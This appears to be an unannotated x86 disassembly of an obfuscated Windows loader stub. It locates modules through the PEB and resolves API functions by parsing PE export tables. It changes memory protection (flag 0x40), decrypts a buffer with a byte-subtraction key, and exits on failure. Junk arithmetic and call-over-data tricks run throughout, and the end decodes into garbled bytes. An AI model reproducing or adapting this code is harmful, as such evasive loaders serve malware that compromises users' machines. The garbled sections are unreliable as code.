mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
add esi, 0xc145
jmp 0x486751
and esi, 0x293a
pop esi
push edx
push ebx
add esp, 4
xor edx, 0xd747
xor edx, 0x12876
jmp 0x486772
pop edx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ebx
jmp 0x4867d0
pop ebx
push ebx
push ecx
add esp, 4
jmp 0x4867de
add ebx, 0x122a4
call 0x4867f2
add byte [ebx], bh
xor al, 0x42
push eax
inc edi
inc eax
aas
dec eax
add esp, 4
xor ebx, 0x4cca
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x486819
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x486873
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x486741
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x486741
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x48685d
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x486867
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x4868bc
push ecx
push ebx
add esp, 4
add ecx, 0x1511a
pop ecx
push eax
sub eax, 0x95a8
and eax, 0xb162
pop eax
push eax
push ecx
add esp, 4
add eax, 0x390
and eax, 0x171a4
add eax, 0x152f
pop eax
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x486924
push ecx
push esi
add esp, 4
add ecx, 0x11bbe
add ecx, 0xaa06
pop ecx
push eax
push ebx
add esp, 4
and eax, 0x134bc
pop eax
push esi
and esi, 0x9526
sub esi, 0x12327
xor esi, 0x1bf9
pop esi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x48691a
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x4866e5
mov dword [ebp - 0x710], 0
push edi
xor edi, 0xf4dd
jmp 0x486930
and edi, 0xface
sub edi, 0xcd3e
pop edi
push esi
or esi, 0x167bf
pop esi
push eax
jmp 0x48694c
jmp 0x486955
pop eax
cmp dword [ebp - 0x710], 0
jne 0x4869a0
push edx
or edx, 0x13470
and edx, 0x14eac
add edx, 0x17d27
pop edx
push edx
jmp 0x48697c
pop edx
push ecx
push edi
add esp, 4
jmp 0x486988
pop ecx
push edx
or edx, 0x40a7
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x4874c8
push eax
jmp 0x4869a6
call 0x4869b4
add byte [ebx + 0x45], cl
dec esi
inc esi
aas
inc esp
inc eax
dec edi
add esp, 4
pop eax
push eax
xor eax, 0x169a0
sub eax, 0x74f
or eax, 0xd495
xor eax, 0xbb60
pop eax
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x486a11
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x486d02
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x486a39
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x486d02
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x486a6b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x486d02
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x486a90
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x486d02
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x486aea
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x486cf6
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x486b5a
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x486c0c
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x486c0c
push eax
push esi
add esp, 4
xor eax, 0x1225b
pop eax
push eax
xor eax, 0xea49
pop eax
push edx
push edi
add esp, 4
call 0x486baf
add byte [edx], bh
cmp eax, 0x37433b3a
dec esp
inc ecx
add esp, 4
or edx, 0x4200
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x486bfe
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x486c05
jmp 0x486b4b
jmp 0x486c0c
push esi
and esi, 0x12d44
add esi, 0x11a8d
or esi, 0x1016
and esi, 0xea55
pop esi
push ebx
push ebx
add esp, 4
and ebx, 0x8dd1
or ebx, 0xd913
or ebx, 0x177e
pop ebx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x486c6b
mov dword [ebp - 0xc5c], 0
jmp 0x486cda
push esi
push edi
add esp, 4
add esi, 0x6595
xor esi, 0x394e
pop esi
push eax
xor eax, 0x2776
xor eax, 0xdbb7
add eax, 0x410f
pop eax
push esi
push ecx
add esp, 4
and esi, 0x10ca2
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x486cd0
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x486cda
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x486cf1
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x486d02
jmp 0x486adb
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x486ddd
push edi
push edi
add esp, 4
sub edi, 0xaf55
pop edi
push ebx
push edx
add esp, 4
and ebx, 0x16098
xor ebx, 0xc3ea
add ebx, 0x3f12
and ebx, 0xa9ea
pop ebx
push esi
add esi, 0xbafd
pop esi
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push esi
push ecx
add esp, 4
jmp 0x486d5b
xor esi, 0x11a3f
jmp 0x486d66
pop esi
push eax
push edi
add esp, 4
xor eax, 0xd56c
sub eax, 0xd4ad
add eax, 0x95dc
pop eax
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x486ddd
push ebx
sub ebx, 0xde17
xor ebx, 0xb24d
pop ebx
push eax
push edx
add esp, 4
and eax, 0xfd1c
pop eax
push esi
push eax
add esp, 4
add esi, 0x4f5d
pop esi
push ebx
push esi
add esp, 4
or ebx, 0xee7c
pop ebx
mov dword [ebp - 0xa58], 0
jmp 0x4874c8
push eax
jmp 0x486de4
and eax, 0x16515
pop eax
push edx
push edi
add esp, 4
jmp 0x486df8
and edx, 0x6940
pop edx
push esi
or esi, 0xbbbd
pop esi
push ecx
or ecx, 0xe7e
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push esi
push eax
add esp, 4
call 0x486e4c
add byte [0x494b3c42], bh
cmp al, 0x4f
dec esi
xor eax, 0x4c4833d
call 0x486e5d
add byte [edi + edi], dh
dec esp
cmp dword [edi], esi
dec edi
aaa
cmp eax, dword [ebx + 0x535e04c4]
sub ebx, 0x11a59
pop ebx
cmp dword [ebp - 0x1574], 0
jne 0x486e81
mov dword [ebp - 0x2a8], 0
jmp 0x487128
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ebx
and ebx, 0x7336
pop ebx
push esi
push ebx
add esp, 4
call 0x486eac
add byte [eax*2 + 0x394f3e45], dh
add esp, 4
xor esi, 0x3bf6
call 0x486ec1
add byte [ebx + edi + 0x43], cl
dec edx
inc edi
cmp al, byte [ebx - 0x7ca1fb3c]
mov ebp, 0xfffff398
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2a8], 0
jmp 0x487128
push edx
push edx
add esp, 4
call 0x487139
add byte [edi + ecx*2], dh
aaa
aaa
dec ebx
dec ebx
add esp, 4
call 0x48714a
add byte [esi + edi + 0x3b], cl
inc edx
cmp cl, byte [ebp + 0x45]
inc esi
add esp, 4
and edx, 0xf4da
and edx, 0xf872
pop edx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edx
push esi
add esp, 4
sub edx, 0x171cd
and edx, 0xf848
add edx, 0x4066
add edx, 0xc94c
pop edx
push esi
and esi, 0x13aae
and esi, 0x137aa
xor esi, 0xa3aa
pop esi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x4871cb
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x4874bc
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x4871f3
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x4874bc
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x487225
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x4874bc
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x48724a
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x4874bc
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x4872a4
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x4874b0
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x487314
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4873c6
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x4873c6
push edx
push ecx
add esp, 4
sub edx, 0x61cf
and edx, 0x161a6
add edx, 0x6a66
sub edx, 0x338a
pop edx
push esi
add esi, 0x13894
pop esi
push eax
push edi
add esp, 4
or eax, 0x98e3
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x4873b8
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x4873bf
jmp 0x487305
jmp 0x4873c6
push edi
push esi
add esp, 4
or edi, 0x4d10
add edi, 0x7ca8
pop edi
push edx
add edx, 0x6980
and edx, 0xe605
pop edx
push eax
push ebx
add esp, 4
sub eax, 0x636e
sub eax, 0x133c
pop eax
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x487425
mov dword [ebp - 0xc6c], 0
jmp 0x487494
push eax
or eax, 0x177f1
add eax, 0xc931
add eax, 0x12124
xor eax, 0x7dcc
pop eax
push edi
push ecx
add esp, 4
sub edi, 0x11aa9
xor edi, 0x101d3
xor edi, 0x110b1
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x48748a
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x487494
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x4874ab
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x4874bc
jmp 0x487295
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push eax
push eax
add esp, 4
or eax, 0x15a7a
add eax, 0x111ed
xor eax, 0x11c9
jmp 0x4874e7
pop eax
push edx
push ebx
add esp, 4
add edx, 0x12d1e
and edx, 0x84b6
pop edx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x48756d
push eax
push esi
add esp, 4
call 0x48753c
add byte [esi + 0x3f], al
xor eax, 0x3d3f4450
dec esp
push eax
dec esi
add esp, 4
pop eax
push ecx
push eax
add esp, 4
jmp 0x48754c
sub ecx, 0x2d3b
xor ecx, 0x107b5
pop ecx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x48758a
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x4875e6
push ebx
sub ebx, 0x14bf6
xor ebx, 0x1865c
add ebx, 0x18472
pop ebx
push eax
jmp 0x4875b5
sub eax, 0x16fdd
pop eax
push esi
or esi, 0x10c71
add esi, 0x15d3a
pop esi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x48757b
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x48765e
push eax
push eax
add esp, 4
jmp 0x487622
pop eax
push edx
push eax
add esp, 4
jmp 0x487630
sub edx, 0xda3f
pop edx
push edi
or edi, 0xd3e8
xor edi, 0xef11
jmp 0x487649
pop edi
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push ebx
jmp 0x487668
pop ebx
push ecx
sub ecx, 0xce93
call 0x48767c
add byte [eax + 0x39], al
xor esi, dword [0xc4833f33]
add al, 0xe8
or byte [eax], al
add byte [eax], al
add byte [edx], bh
inc ecx
inc esp
aaa
inc ebx
cmp byte [ebx + 0x525904c4], al
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff03ff
pop ecx
pop ecx
push esp
xchg bh, al
pop es
test cl, dl
in al, dx
cmp eax, 0x7ee0303
inc esi
push ebx
test cl, cl
sbb edx, dword [ebx]
add eax, dword [ebx]
test cl, dl
lahf
test eax, 0x54610303
test ah, dh
clc
ljmp 0x381a